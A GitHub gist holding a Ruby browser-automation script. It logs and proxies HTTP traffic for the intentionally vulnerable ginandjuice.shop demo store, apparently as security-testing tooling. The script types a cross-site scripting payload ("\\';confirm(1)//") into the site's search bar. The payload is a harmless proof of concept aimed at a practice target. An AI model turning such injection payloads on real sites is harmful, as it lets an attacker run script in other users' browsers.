Skip to content

Instantly share code, notes, and snippets.

@Zapotek
Created May 26, 2024 08:10
Show Gist options
  • Save Zapotek/a83ed2ed6e5192ccc43296bdd96eb01b to your computer and use it in GitHub Desktop.
Save Zapotek/a83ed2ed6e5192ccc43296bdd96eb01b to your computer and use it in GitHub Desktop.
URL = 'https://ginandjuice.shop/catalog'
# Proxy HTTP tragic through Burp/ZAP/whatever.
# Options.http.proxy_host = 'localhost'
# Options.http.proxy_port = 8282
b = Browser.new(
visible: true,
on_request: proc do |request, _|
# Inspect or manipulate HTTP traffic in the form of an HTTP::Request.
p '+ ' + request.url
puts request.raw
end,
on_response: proc do |_, response|
# Inspect HTTP traffic in the form of an HTTP::Response.
p '- ' + response.url
puts response.headers_string
end
)
at_exit { b.shutdown }
# Get Selenium WebDriver.
driver = b.watir.wd
driver.get URL
# Fill in XSS payload and just require us to hit the 'search' icon.
driver.find_element( :id, 'searchBar' ).send_keys "\\';confirm(1)//"
# Wait for user to hit Ctrl+C.
sleep
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment